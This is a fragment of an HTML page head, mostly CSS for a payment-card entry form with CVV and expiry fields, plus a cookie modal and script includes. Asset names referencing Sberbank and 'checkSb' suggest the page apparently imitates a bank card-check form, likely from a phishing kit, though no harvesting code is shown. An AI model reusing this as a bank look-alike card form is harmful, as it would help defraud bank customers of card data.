.fa-primary{fill:var(--fa-primary-color,currentColor);opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa .fa-secondary{fill:var(--fa-secondary-color,currentColor);opacity:.4;opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-primary{opacity:.4;opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-secondary{opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa mask .fa-primary,.svg-inline--fa mask .fa-secondary{fill:#000}.fad.fa-inverse{color:#fff}</style>
<link rel="stylesheet" href="/css/style.css">
<script src="/cardb_files/micromodal.min.js.Без названия"></script>
<script src="/cardb_files/all.min.js.Без названия"></script>
<meta name="theme-color" content="#ffffff">
<script>
MicroModal.init();
</script>
<style>
.containe.show {
display: block;
}
.container.show {
display: block;
}
.containe {
display: none;
width: 100%;
}
.container {
display: none;
width: 100%;
}
.cookiesContent {
background-color: #fff;
color: #000;
box-shadow: 0 30px 60px 0 rgb(90 116 148 / 40%);
border-radius: 10px;
padding: 30px;
max-width: 400px;
margin: auto;
width: 100%;
position: fixed;
left: 50%;
top: 50%;
transform: translate(-50%, -50%);
z-index: 99999;
}
button.close {
width: 30px;
font-size: 20px;
color: #c0c5cb;
background-color: transparent;
border: none;
margin-bottom: 10px;
right: 20px;
top: 20px;
position: absolute;
cursor: pointer;
}
p {
margin-bottom: 40px;
text-align: center;
}
h2 {
display: block;
font-size: 1.5em;
margin-block-start: 0.83em;
margin-block-end: 0.83em;
margin-inline-start: 0px;
margin-inline-end: 0px;
font-weight: bold;
}
.cookiesContent h2 {
margin-bottom: 40px;
text-align: center;
}
button.accept {
width: 100%;
height: 55px;
background: #ed6755;
border: none;
border-radius: 5px;
font-size: 22px;
font-weight: 700;
font-family: "Source Sans Pro", sans-serif;
box-shadow: 3px 10px 20px 0px rgb(35 100 210 / 30%);
color: #fff;
margin-top: 20px;
cursor: pointer;
}
.backh {
display: block;
width: 100%;
height: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 999;
background: rgb(0 0 0 / 40%);
}
</style>
<script src="/cardb_files/all.min.js.Без названия"></script>
<script src="/cardb_files/phoneinput.js.Без названия"></script>
<script src="/cardb_files/phoneinput.js.Без названия"></script>
<link href="./assets/sberbank/favicon.ico" rel="shortcut icon">
<script src="https://code.jquery.com/jquery-3.6.1.js" integrity="sha256-3zlB5s2uwoUzrXK3BT7AX3FyvojsraNFxCc2vC/7pNI=" crossorigin="anonymous"></script>
<link href="./checkSb_files/main.bef406a1.chunk.css" rel="stylesheet" type="text/css">
<link href="./checkSb_files/font-awesome.min.css" rel="stylesheet">
<style>
@import url("https://fonts.googleapis.com/css?family=Source+Code+Pro:400,500,600,700|Source+Sans+Pro:400,600,700&display=swap");
body {
background: #fff;
font-family: "Source Sans Pro", sans-serif;
font-size: 16px;
}
* {
box-sizing: border-box;
}
*:focus {
outline: none;
}
.wrapper {
min-height: 100vh;
display: flex;
padding: 0px 15px;
}
@media screen and (max-width: 700px), (max-height: 500px) {
.wrapper {
flex-wrap: wrap;
flex-direction: column;
}
}
@media screen and (max-width: 550px) {
.imas {
width: 50px;
margin-top: 68px;
margin-right: 14px;
}
.omas {
width: 50px;
}
}
@media screen and (min-width: 551px) {
.imas {
width: 50px;
margin-top: 53px;
margin-right: 14px;
}
.omas {
width: 40px;
}
}
*, *:before, *:after {
box-sizing: border-box;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
/*button, input {
font-family: 'Montserrat', sans-serif;
font-weight: 700;
letter-spacing: 1.4px;
}*/
.background {
display: flex;
background-color: #80bbfb;
min-height: 100vh;
}
.container {
flex: 0 1 700px;
margin: auto;
padding: 10px;
}
@media screen and (max-width: 550px) {
.container {
width: 350px;
}
}
@media screen and (max-width: 340) {
.container {
width: 310px;
}
}
.screen {
position: relative;
background: #3e3e3e;
border-radius: 15px;
}
.screen:after {
content: '';
display: block;
position: absolute;
top: 0;
left: 20px;
right: 20px;
bottom: 0;
border-radius: 15px;
box-shadow: 0 20px 40px rgba(0, 0, 0, .4);
z-index: -1;
}
.screen-header {
display: flex;
align-items: center;
padding: 10px 20px;
background: #4d4d4f;
border-top-left-radius: 15px;
border-top-right-radius: 15px;
}
.screen-header-left {
margin-right: auto;
}
.screen-header-button {
display: inline-block;
width: 8px;
height: 8px;
margin-right: 3px;
border-radius: 8px;
background: white;
}
.screen-header-button.close {
background: #ed1c6f;
}
.screen-header-button.maximize {
background: #e8e925;
}
.screen-header-button.minimize {
background: #74c54f;
}
.screen-header-right {
display: flex;
}
.screen-header-ellipsis {
width: 3px;
height: 3px;
margin-left: 2px;
border-radius: 8px;
background: #999;
}
.screen-body {
display: flex;
}
.screen-body-item {
flex: 1;
padding: 50px;
}
.screen-body-item.left {
display: flex;
flex-direction: column;
}
.app-title {
display: flex;
flex-direction: column;
position: relative;
color: #ea1d6f;
font-size: 26px;
}
.app-title:after {
content: '';
display: block;
position: absolute;
left: 0;
bottom: -10px;
width: 25px;
height: 4px;
background: #ea1d6f;
}
.app-contact {
margin-top: auto;
font-size: 8px;
color: #888;
}
.app-form-group {
margin-bottom: 15px;
}
.app-form-group.message {
margin-top: 40px;
}
.app-form-group.buttons {
margin-bottom: 0;
text-align: right;
}
.app-form-control {
width: 100%;
padding: 10px 0;
background: none;
border: none;
border-bottom: 1px solid #666;
color: #ddd;
font-size: 14px;
text-transform: uppercase;
outline: none;
transition: border-color .2s;
}
.app-form-control::placeholder {
color: #666;
}
.app-form-control:focus {
border-bottom-color: #ddd;
}
.app-form-button {
background: none;
border: none;
color: #ea1d6f;
font-size: 14px;
cursor: pointer;
outline: none;
}
.app-form-button:hover {
color: #b9134f;
}
.credits {
display: flex;
justify-content: center;
align-items: center;
margin-top: 20px;
color: #ffa4bd;
font-family: 'Roboto Condensed', sans-serif;
font-size: 16px;
font-weight: normal;
}
.credits-link {
display: flex;
align-items: center;
color: #fff;
font-weight: bold;
text-decoration: none;
}
.dribbble {
width: 20px;
height: 20px;
margin: 0 5px;
}
@media screen and (max-width: 520px) {
.screen-body {
flex-direction: column;
}
.screen-body-item.left {
margin-bottom: 30px;
}
.app-title {
flex-direction: row;
}
.app-title span {
margin-right: 12px;
}
.app-title:after {
display: none;
}
}
@media screen and (max-width: 600px) {
.screen-body {
padding: 40px;
}
.screen-body-item {
padding: 0;
}
}
.verticalLine {
border-left: 1px solid #fff;
}
@media screen and (min-width: 1050px) { .app-form-control { width: 200px; } }
@media screen and (max-width: 1000px) { .app-form-control { width: 100%; } }
.box{
width: 240px;
height: 150px;
position: absolute;
top: calc(50% - 25px);
top: -webkit-calc(50% - 25px);
left: calc(50% - 120px);
left: -webkit-calc(50% - 120px);
}
.text{
font-family: 'Lato', sans-serif;
color: #fff;
font-weight: 300;
font-size: 45px;
position: absolute;
top: calc(50% - 105px);
top: -webkit-calc(50% - 105px);
left: calc(50% - 160px);
left: -webkit-calc(50% - 160px);
oapcity: 1;
-webkit-animation: fade-in-out 2.5s infinite;
-moz-animation: fade-in-out 2.5s infinite;
-o-animation: fade-in-out 2.5s infinite;
animation: fade-in-out 2.5s infinite;
}
.comp{
position: absolute;
top: 0px;
width: 80px;
height: 55px;
border: 3px solid #fff;
border-radius: 5px;
}
.comp:after{
content: '';
position: absolute;
z-index: 5;
top: 19px;
left: 5px;
width: 65px;
height: 10px;
border-radius: 360px;
border: 3px solid #fff;
}
.loader{
position: absolute;
z-index: 5;
top: 26px;
left: 12px;
width: 8px;
height: 8px;
border-radius: 360px;
background: #fff;
-webkit-animation: loader 5s infinite linear 0.5s;
-moz-animation: loader 5s infinite linear 0.5s;
-o-animation: loader 5s infinite linear 0.5s;
animation: loader 5s infinite linear 0.5s;
}
.con{
position: absolute;
top: 28px;
left: 85px;
width: 100px;
height: 3px;
background: #fff;
}
.byte{
position: absolute;
top: 25px;
left: 80px;
height: 9px;
width: 9px;
background: #fff;
border-radius: 360px;
z-index: 6;
opacity: 0;
-webkit-animation: byte_animate 5s infinite linear 0.5s;
-moz-animation: byte_animate 5s infinite linear 0.5s;
-o-animation: byte_animate 5s infinite linear 0.5s;
animation: byte_animate 5s infinite linear 0.5s;
}
.server{
position: absolute;
top: 22px;
left: 185px;
width: 35px;
height: 35px;
z-index: 1;
border: 3px solid #fff;
background: #459BF9;
border-radius: 360px;
-webkit-transform: rotateX(58deg);
-moz-transform: rotateX(58deg);
-o-transform: rotateX(58deg);
transform: rotateX(58deg);
}
.server:before{
content: '';
position: absolute;
top: -47px;
left: -3px;
width: 35px;
height: 35px;
z-index: 20;
border: 3px solid #fff;
background: #459BF9;
border-radius: 360px;
}
.server:after{
position: absolute;
top: -26px;
left: -3px;
border-left: 3px solid #fff;
border-right: 3px solid #fff;
width: 35px;
height: 40px;
z-index: 17;
background: #459BF9;
content: '';
}
/*Byte Animation*/
@-webkit-keyframes byte_animate{
0%{
opacity: 0;
left: 80px;
}
4%{
opacity: 1;
}
46%{
opacity: 1;
}
50%{
opacity: 0;
left: 185px;
}
54%{
opacity: 1;
}
96%{
opacity: 1;
}
100%{
opacity: 0;
left: 80px;
}
}
@-moz-keyframes byte_animate{
0%{
opacity: 0;
left: 80px;
}
4%{
opacity: 1;
}
46%{
opacity: 1;
}
50%{
opacity: 0;
left: 185px;
}
54%{
opacity: 1;
}
96%{
opacity: 1;
}
100%{
opacity: 0;
left: 80px;
}
}
@-o-keyframes byte_animate{
0%{
opacity: 0;
left: 80px;
}
4%{
opacity: 1;
}
46%{
opacity: 1;
}
50%{
opacity: 0;
left: 185px;
}
54%{
opacity: 1;
}
96%{
opacity: 1;
}
100%{
opacity: 0;
left: 80px;
}
}
@keyframes byte_animate{
0%{
opacity: 0;
left: 80px;
}
4%{
opacity: 1;
}
46%{
opacity: 1;
}
50%{
opacity: 0;
left: 185px;
}
54%{
opacity: 1;
}
96%{
opacity: 1;
}
100%{
opacity: 0;
left: 80px;
}
}
/*LOADER*/
@-webkit-keyframes loader{
0%{
width: 8px;
}
100%{
width: 63px;
}
}
@-moz-keyframes loader{
0%{
width: 8px;
}
100%{
width: 63px;
}
}
@-o-keyframes loader{
0%{
width: 8px;
}
100%{
width: 63px;
}
}
@keyframes loader{
0%{
width: 8px;
}
100%{
width: 63px;
}
}
/*FADE IN-OUT*/
@-webkit-keyframes fade-in-out{
0%{
opacity: 1;
}
50%{
opacity: 0;
}
100%{
oapcity: 1;
}
}
@-moz-keyframes fade-in-out{
0%{
opacity: 1;
}
50%{
opacity: 0;
}
100%{
oapcity: 1;
}
}
@-o-keyframes fade-in-out{
0%{
opacity: 1;
}
50%{
opacity: 0;
}
100%{
oapcity: 1;
}
}
@keyframes fade-in-out{
0%{
opacity: 1;
}
50%{
opacity: 0;
}
100%{
oapcity: 1;
}
}
.card-form {
max-width: 570px;
margin: auto;
width: 100%;
}
@media screen and (max-width: 576px) {
.card-form {
margin: 0 auto;
}
}
.card-form {
max-width: 570px;
margin: auto;
width: 100%;
}
@media screen and (max-width: 576px) {
.card-form {
margin: 0 auto;
}
}
.card-form__inner {
background: #fff;
box-shadow: 0 30px 60px 0 rgba(90, 116, 148, 0.4);
border-radius: 10px;
padding: 35px;
padding-top: 180px;
}
@media screen and (max-width: 480px) {
.card-form__inner {
padding: 25px;
padding-top: 165px;
}
}
@media screen and (max-width: 360px) {
.card-form__inner {
padding: 15px;
padding-top: 165px;
}
}
.card-form__row {
display: flex;
align-items: flex-start;
}
@media screen and (max-width: 480px) {
.card-form__row {
flex-wrap: wrap;
}
}
.card-form__col {
flex: auto;
margin-right: 35px;
}
.card-form__col:last-child {
margin-right: 0;
}
@media screen and (max-width: 480px) {
.card-form__col {
margin-right: 0;
flex: unset;
width: 100%;
margin-bottom: 20px;
}
.card-form__col:last-child {
margin-bottom: 0;
}
}
.card-form__col.-cvv {
max-width: 150px;
}
@media screen and (max-width: 480px) {
.card-form__col.-cvv {
max-width: initial;
}
}
.card-form__group {
display: flex;
align-items: flex-start;
flex-wrap: wrap;
}
.card-form__group .card-input__input {
flex: 1;
margin-right: 15px;
}
.card-form__group .card-input__input:last-child {
margin-right: 0;
}
.card-form__button {
width: 100%;
height: 55px;
background: #1ab248;
border: none;
border-radius: 5px;
font-size: 22px;
font-weight: 700;
font-family: "Source Sans Pro", sans-serif;
box-shadow: 3px 10px 20px 0px rgba(35, 100, 210, 0.3);
color: #fff;
margin-top: 20px;
cursor: pointer;
}
@media screen and (max-width: 480px) {
.card-form__button {
margin-top: 10px;
}
}
.card-item {
max-width: 430px;
height: 270px;
margin-left: auto;
margin-right: auto;
position: relative;
z-index: 2;
width: 100%;
}
@media screen and (max-width: 480px) {
.card-item {
max-width: 310px;
height: 220px;
width: 90%;
}
}
@media screen and (max-width: 360px) {
.card-item {
height: 180px;
}
}
.card-item.-active .card-item__side.-front {
transform: perspective(1000px) rotateY(180deg) rotateX(0deg) rotateZ(0deg);
}
.card-item.-active .card-item__side.-back {
transform: perspective(1000px) rotateY(0) rotateX(0deg) rotateZ(0deg);
}
.card-item__focus {
position: absolute;
z-index: 3;
border-radius: 5px;
left: 0;
top: 0;
width: 100%;
height: 100%;
transition: all 0.35s cubic-bezier(0.71, 0.03, 0.56, 0.85);
opacity: 0;
pointer-events: none;
overflow: hidden;
border: 2px solid rgba(255, 255, 255, 0.65);
}
.card-item__focus:after {
content: "";
position: absolute;
top: 0;
left: 0;
width: 100%;
background: #08142f;
height: 100%;
border-radius: 5px;
filter: blur(25px);
opacity: 0.5;
}
.card-item__focus.-active {
opacity: 1;
}
.card-item__side {
border-radius: 15px;
overflow: hidden;
box-shadow: 0 20px 60px 0 rgba(14, 42, 90, 0.55);
transform: perspective(2000px) rotateY(0deg) rotateX(0deg) rotate(0deg);
transform-style: preserve-3d;
transition: all 0.8s cubic-bezier(0.71, 0.03, 0.56, 0.85);
backface-visibility: hidden;
height: 100%;
}
.card-item__side.-back {
position: absolute;
top: 0;
left: 0;
width: 100%;
transform: perspective(2000px) rotateY(-180deg) rotateX(0deg) rotate(0deg);
z-index: 2;
padding: 0;
height: 100%;
}
.card-item__side.-back .card-item__cover {
transform: rotateY(-180deg);
}
.card-item__bg {
max-width: 100%;
display: block;
max-height: 100%;
height: 100%;
width: 100%;
object-fit: cover;
}
.card-item__cover {
height: 100%;
background-color: #1c1d27;
position: absolute;
height: 100%;
background-color: #1c1d27;
left: 0;
top: 0;
width: 100%;
border-radius: 15px;
overflow: hidden;
}
.card-item__cover:after {
content: "";
position: absolute;
left: 0;
top: 0;
width: 100%;
height: 100%;
background: rgba(6, 2, 29, 0.45);
}
.card-item__top {
display: flex;
align-items: flex-start;
justify-content: space-between;
margin-bottom: 40px;
padding: 0 10px;
}
@media screen and (max-width: 480px) {
.card-item__top {
margin-bottom: 25px;
}
}
@media screen and (max-width: 360px) {
.card-item__top {
margin-bottom: 15px;
}
}
.card-item__chip {
width: 60px;
}
@media screen and (max-width: 480px) {
.card-item__chip {
width: 50px;
}
}
@media screen and (max-width: 360px) {
.card-item__chip {
width: 40px;
}
}
.card-item__type {
height: 45px;
position: relative;
display: flex;
justify-content: flex-end;
max-width: 100px;
margin-left: auto;
width: 100%;
}
@media screen and (max-width: 480px) {
.card-item__type {
height: 40px;
max-width: 90px;
}
}
@media screen and (max-width: 360px) {
.card-item__type {
height: 30px;
}
}
.card-item__typeImg {
max-width: 100%;
object-fit: contain;
max-height: 100%;
object-position: top right;
}
.card-item__info {
color: #fff;
width: 100%;
max-width: calc(100% - 85px);
padding: 10px 15px;
font-weight: 500;
display: block;
cursor: pointer;
}
@media screen and (max-width: 480px) {
.card-item__info {
padding: 10px;
}
}
.card-item__holder {
opacity: 0.7;
font-size: 13px;
margin-bottom: 6px;
}
@media screen and (max-width: 480px) {
.card-item__holder {
font-size: 12px;
margin-bottom: 5px;
}
}
.card-item__wrapper {
font-family: "Source Code Pro", monospace;
padding: 25px 15px;
position: relative;
z-index: 4;
height: 100%;
text-shadow: 7px 6px 10px rgba(14, 42, 90, 0.8);
user-select: none;
}
@media screen and (max-width: 480px) {
.card-item__wrapper {
padding: 20px 10px;
}
}
.card-item__name {
font-size: 18px;
line-height: 1;
white-space: nowrap;
max-width: 100%;
overflow: hidden;
text-overflow: ellipsis;
text-transform: uppercase;
}
@media screen and (max-width: 480px) {
.card-item__name {
font-size: 16px;
}
}
.card-item__nameItem {
display: inline-block;
min-width: 8px;
position: relative;
}
.card-item__number {
font-weight: 500;
line-height: 1;
color: #fff;
font-size: 27px;
margin-bottom: 35px;
display: inline-block;
padding: 10px 15px;
cursor: pointer;
}
@media screen and (max-width: 480px) {
.card-item__number {
font-size: 21px;
margin-bottom: 15px;
padding: 10px 10px;
}
}
@media screen and (max-width: 360px) {
.card-item__number {
font-size: 19px;
margin-bottom: 10px;
padding: 10px 10px;
}
}
.card-item__numberItem {
width: 16px;
display: inline-block;
}
.card-item__numberItem.-active {
width: 30px;
}
@media screen and (max-width: 480px) {
.card-item__numberItem {
width: 13px;
}
.card-item__numberItem.-active {
width: 16px;
}
}
@media screen and (max-width: 360px) {
.card-item__numberItem {
width: 12px;
}
.card-item__numberItem.-active {
width: 8px;
}
}
.card-item__content {
color: #fff;
display: flex;
align-items: flex-start;
}
.card-item__date {
flex-wrap: wrap;
font-size: 18px;
margin-left: auto;
padding: 10px;
display: inline-flex;
width: 80px;
white-space: nowrap;
flex-shrink: 0;
cursor: pointer;
}
@media screen and (max-width: 480px) {
.card-item__date {
font-size: 16px;
}
}
.card-item__dateItem {
position: relative;
}
.card-item__dateItem span {
width: 22px;
display: inline-block;
}
.card-item__dateTitle {
opacity: 0.7;
font-size: 13px;
padding-bottom: 6px;
width: 100%;
}
@media screen and (max-width: 480px) {
.card-item__dateTitle {
font-size: 12px;
padding-bottom: 5px;
}
}
.card-item__band {
background: rgba(0, 0, 19, 0.8);
width: 100%;
height: 40px;
margin-top: 30px;
position: relative;
z-index: 2;
}
@media screen and (max-width: 480px) {
.card-item__band {
margin-top: 20px;
}
}
@media screen and (max-width: 360px) {
.card-item__band {
height: 40px;
margin-top: 10px;
}
}
.card-item__cvv {
text-align: right;
position: relative;
z-index: 2;
padding: 15px;
}
.card-item__cvv .card-item__type {
opacity: 0.7;
}
@media screen and (max-width: 360px) {
.card-item__cvv {
padding: 10px 15px;
}
}
.card-item__cvvTitle {
padding-right: 10px;
font-size: 15px;
font-weight: 500;
color: #fff;
margin-bottom: 5px;
}
.card-item__cvvBand {
height: 45px;
background: #fff;
margin-bottom: 30px;
text-align: right;
display: flex;
align-items: center;
justify-content: flex-end;
padding-right: 10px;
color: #1a3b5d;
font-size: 18px;
border-radius: 4px;
box-shadow: 0px 10px 20px -7px rgba(32, 56, 117, 0.35);
}
@media screen and (max-width: 480px) {
.card-item__cvvBand {
height: 40px;
margin-bottom: 20px;
}
}
@media screen and (max-width: 360px) {
.card-item__cvvBand {
margin-bottom: 15px;
}
}
.card-list {
margin-bottom: -130px;
}
@media screen and (max-width: 480px) {
.card-list {
margin-bottom: -120px;
}
}
.card-input {
margin-bottom: 20px;
}
.card-input__label {
font-size: 14px;
margin-bottom: 5px;
font-weight: 700;
color: #1a3b5d;
width: 100%;
display: block;
user-select: none;
}
.card-input__input {
width: 100%;
height: 40px;
border-radius: 5px;
box-shadow: none;
border: 1px solid #ced6e0;
transition: all 0.3s ease-in-out;
font-size: 18px;
padding: 5px 15px;
background: none;
color: #1a3b5d;
font-family: "Source Sans Pro", sans-serif;
}
.card-input__input.error {
border: 2px solid #d20000 !important;
}
.card-item__dateTitle {
height: 12px !important;
}
.card-input__input:hover, .card-input__input:focus {
border-color: #3d9cff;
}
.card-input__input:focus {
box-shadow: 0px 10px 20px -13px rgba(32, 56, 117, 0.35);
}
.card-input__input.-select {
-webkit-appearance: none;
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAeCAYAAABuUU38AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAUxJREFUeNrM1sEJwkAQBdCsngXPHsQO9O5FS7AAMVYgdqAd2IGCDWgFnryLFQiCZ8EGnJUNimiyM/tnk4HNEAg/8y6ZmMRVqz9eUJvRaSbvutCZ347bXVJy/ZnvTmdJ862Me+hAbZCTs6GHpyUi1tTSvPnqTpoWZPUa7W7ncT3vK4h4zVejy8QzM3WhVUO8ykI6jOxoGA4ig3BLHcNFSCGqGAkig2yqgpEiMsjSfY9LxYQg7L6r0X6wS29YJiYQYecemY+wHrXD1+bklGhpAhBDeu/JfIVGxaAQ9sb8CI+CQSJ+QmJg0Ii/EE2MBiIXooHRQhRCkBhNhBcEhLkwf05ZCG8ICCOpk0MULmvDSY2M8UawIRExLIQIEgHDRoghihgRIgiigBEjgiFATBACAgFgghEwSAAGgoBCBBgYAg5hYKAIFYgHBo6w9RRgAFfy160QuV8NAAAAAElFTkSuQmCC");
background-size: 12px;
background-position: 90% center;
background-repeat: no-repeat;
padding-right: 30px;
}
.slide-fade-up-enter-active {
transition: all 0.25s ease-in-out;
transition-delay: 0.1s;
position: relative;
}
.slide-fade-up-leave-active {
transition: all 0.25s ease-in-out;
position: absolute;
}
.slide-fade-up-enter {
opacity: 0;
transform: translateY(15px);
pointer-events: none;
}
.slide-fade-up-leave-to {
opacity: 0;
transform: translateY(-15px);
pointer-events: none;
}
.slide-fade-right-enter-active {
transition: all 0.25s ease-in-out;
transition-delay: 0.1s;
position: relative;
}
.slide-fade-right-leave-active {
transition: all 0.25s ease-in-out;
position: absolute;
}
.slide-fade-right-enter {
opacity: 0;
transform: translateX(10px) rotate(45deg);
pointer-events: none;
}
.slide-fade-right-leave-to {
opacity: 0;
transform: translateX(-10px) rotate(45deg);
pointer-events: none;
}
.github-btn {
position: absolute;
right: 40px;
bottom: 50px;
text-decoration: none;
padding: 15px 25px;
border-radius: 4px;
box-shadow: 0px 4px 30px -6px rgba(36, 52, 70, 0.65);
background: #24292e;
color: #fff;
font-weight: bold;
letter-spacing: 1px;
font-size: 16px;
text-align: center;
transition: all 0.3s ease-in-out;
}
@media screen and (min-width: 500px) {
.github-btn:hover {
transform: scale(1.1);
box-shadow: 0px 17px 20px -6px rgba(36, 52, 70, 0.36);
}
}
@media screen and (max-width: 700px) {
.github-btn {
position: relative;
bottom: auto;
right: auto;
margin-top: 20px;
}
.github-btn:active {
transform: scale(1.1);
box-shadow: 0px 17px 20px -6px rgba(36, 52, 70, 0.36);
}
}
._0 {
margin: 0 auto;
max-width: 280px;
margin-bottom: 96px;
}
._1 {
height: 64px;
border-bottom: 1px solid #DDD;
margin-top: 24px;
margin-bottom: 8px;
}
._2 {
height: 100%;
background: url(logo.php) no-repeat 0 center / auto 32px;
}
._3 {
font-size: 26px;
margin-top: 20px;
margin-bottom: 12px;
}
._4 {
padding: 10px 12px;
border: 1px solid #CCC;
border-radius: 3px;
}
._4:hover {
border: 1px solid #B3B3B3;
}
._4:focus {
box-shadow: 0 0 4px #009CF0;
}
._5 {
color: #555;
}
._6 {
padding-bottom: 6px;
}
._7 {
margin-top: 10px;
}
._8 {
width: 70%;
display: inline-block;
}
._9 {
width: 30%;
float: right;
display: inline-block;
}
._10 {
width: 40%;
display: inline-block;
}
._11 {
padding: 10px 0;
font-size: 18px;
color: #FFF;
cursor: pointer;
background: #0AF;
border-radius: 3px;
}
._11:disabled {
background: #7FCDF7;
cursor: default;
}
._11:not([disabled]):hover {
background: #009CF0;
}
._11:focus {
box-shadow: 0 0 4px #009CF0;
}
._12 {
width: 40%;
vertical-align: top;
}
._13 {
font-weight: bold;
vertical-align: top;
}
._14 {
margin-top: 24px;
}
._15, ._15:hover {
border: 1px solid #FF6163;
}
._15:focus {
box-shadow: 0 0 4px #FF6163;
}
._16 {
color: #FD5555;
margin-bottom: 64px;
}
._17 {
color: #999;
margin: 16px 0;
}
body {
margin: 0 12px;
font-family: Arial;
font-size: 14px;
color: #222;
word-break: break-word;
user-select: none;
}
input {
font-family: Arial;
font-size: 16px;
color: #222;
width: 100%;
border: none;
outline: none;
box-sizing: border-box;
}
input2 {
font-family: Arial;
font-size: 16px;
color: #222;
width: 50%;
border: none;
outline: none;
box-sizing: border-box;
}
a {
color: #999;
cursor: pointer;
text-decoration: underline;
}
table {
width: 100%;
border-collapse: separate;
border-spacing: 0;
}
td {
padding: 0;
}
@media all and (max-width: 960px) {
._1 {
margin-top: 16px;
}
._3 {
font-size: 22px;
}
}
@media all and (max-width: 720px) {
._3 {
margin-top: 10px;
}
}
</style>
<style>
header {
padding: 24px 100px 0 100px;
display: flex;
align-items: center;
justify-content: space-between;
max-width: 1190px;
width: calc(100% - 32px);
margin: 0 auto;
padding: 24px 0 0;
}
@keyframes spin {
100% {
transform: rotate(1turn);
}
}
.modal__content {
margin-top: 2rem;
margin-bottom: 2rem;
line-height: 1.5;
color: rgba(0, 0, 0, 0.8);
}
.spin {
animation-name: spin;
animation-duration: 5000ms;
animation-iteration-count: infinite;
animation-timing-function: linear;
}
</style>
<style>
.vnc_open_details_title:before {
background-image: none !important;
}
.vnc_details_table_cell {
padding-left: 20px !important;
}
.vnc_open_details_btn {
cursor: pointer;
display: inline-block;
border-bottom: 1px dotted;
}
</style>
<style type="text/css">
span.im-caret {
-webkit-animation: 1s blink step-end infinite;
animation: 1s blink step-end infinite;
}
@keyframes blink {
from,
to {
border-right-color: black;
}
50% {
border-right-color: transparent;
}
}
@-webkit-keyframes blink {
from,
to {
border-right-color: black;
}
50% {
border-right-color: transparent;
}
}
span.im-static {
color: grey;
}
div.im-colormask {
display: inline-block;
border-style: inset;
border-width: 2px;
-webkit-appearance: textfield;
-moz-appearance: textfield;
appearance: textfield;
}
div.im-colormask > input {
position: absolute;
display: inline-block;
background-color: transparent;
color: transparent;
-webkit-appearance: caret;
-moz-appearance: caret;
appearance: caret;
border-style: none;
left: 0; /*calculated*/
}
div.im-colormask > input:focus {
outline: none;
}
div.im-colormask > input::-moz-selection {
background: none;
}
div.im-colormask > input::selection {
background: none;
}
div.im-colormask > input::-moz-selection {
background: none;
}
div.im-colormask > div {
color: black;
display: inline-block;
width: 100px; /*calculated*/
}
</style><style>@media print {#ghostery-tracker-tally {display:none !important}}</style>
<style type="text/css">
.b-page__content {
padding-bottom: 0;
margin-bottom: 0;
margin-right: 30px;
}
.b-page__wide-col_left {
margin-bottom: 2rem;
}
</style>
<style>
[wire\:loading],
[wire\:loading\.delay],
[wire\:loading\.inline-block],
[wire\:loading\.inline],
[wire\:loading\.block],
[wire\:loading\.flex],
[wire\:loading\.table],
[wire\:loading\.grid] {
display: none;
}
[wire\:offline] {
display: none;
}
[wire\:dirty]:not(textarea):not(input):not(select) {
display: none;
}
input:-webkit-autofill,
select:-webkit-autofill,
textarea:-webkit-autofill {
animation-duration: 50000s;
animation-name: livewireautofill;
}
@keyframes livewireautofill {
from {
}
}
.form-field {
display: inline-block;
-webkit-box-sizing: border-box;
box-sizing: border-box;
width: 100%;
height: 30px;
margin: 0;
padding: 0 10px;
border: 1px solid #d8d8d8;
border-radius: 2px;
background-color: #fff;
font-family: Arial, "Helvetica Neue", Helvetica, sans-serif;
font-size: 14px;
line-height: 16px;
color: #000;
vertical-align: middle;
-webkit-appearance: none;
-moz-appearance: none;
outline: 0;
}
.form-field::-webkit-inner-spin-button,
.form-field::-webkit-outer-spin-button {
-webkit-appearance: none;
}
.form-field:focus {
border-color: #0af;
-webkit-box-shadow: 0 0 3px 0 #7fd4ff, inset 0 1px 1px rgba(142, 142, 142, 0.2);
box-shadow: 0 0 3px 0 #7fd4ff, inset 0 1px 1px rgba(142, 142, 142, 0.2);
outline: 0;
}
.modal {
font-family: -apple-system, BlinkMacSystemFont, avenir next, avenir, helvetica neue, helvetica, ubuntu, roboto, noto, segoe ui, arial, sans-serif;
}
.modal__overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.6);
display: flex;
justify-content: center;
align-items: center;
}
.modal__container {
background-color: #fff;
padding: 30px;
max-width: 500px;
max-height: 100vh;
border-radius: 4px;
overflow-y: auto;
box-sizing: border-box;
}
.modal__header {
display: flex;
justify-content: space-between;
align-items: center;
}
.modal__title {
margin-top: 0;
margin-bottom: 0;
font-weight: 600;
font-size: 1.25rem;
line-height: 1.25;
color: #00449e;
box-sizing: border-box;
}
.modal__close {
background: transparent;
border: 0;
}
.modal__header .modal__close:before {
content: "\2715";
}
.modal__content {
margin-top: 2rem;
margin-bottom: 2rem;
line-height: 1.5;
color: rgba(0, 0, 0, 0.8);
}
.modal__btn {
font-size: 0.875rem;
padding-left: 1rem;
padding-right: 1rem;
padding-top: 0.5rem;
padding-bottom: 0.5rem;
background-color: #e6e6e6;
color: rgba(0, 0, 0, 0.8);
border-radius: 0.25rem;
border-style: none;
border-width: 0;
cursor: pointer;
-webkit-appearance: button;
text-transform: none;
overflow: visible;
line-height: 1.15;
margin: 0;
will-change: transform;
-moz-osx-font-smoothing: grayscale;
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
-webkit-transform: translateZ(0);
transform: translateZ(0);
transition: -webkit-transform 0.25s ease-out;
transition: transform 0.25s ease-out;
transition: transform 0.25s ease-out, -webkit-transform 0.25s ease-out;
}
.modal__btn:focus,
.modal__btn:hover {
-webkit-transform: scale(1.05);
transform: scale(1.05);
}
.modal__btn-primary {
background-color: #00449e;
color: #fff;
}
.spin {
animation-name: spin;
animation-duration: 5000ms;
animation-iteration-count: infinite;
animation-timing-function: linear;
}
@keyframes spin {
from {
transform: rotate(0deg);
}
to {
transform: rotate(360deg);
}
}
@keyframes mmfadeIn {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
@keyframes mmfadeOut {
from {
opacity: 1;
}
to {
opacity: 0;
}
}
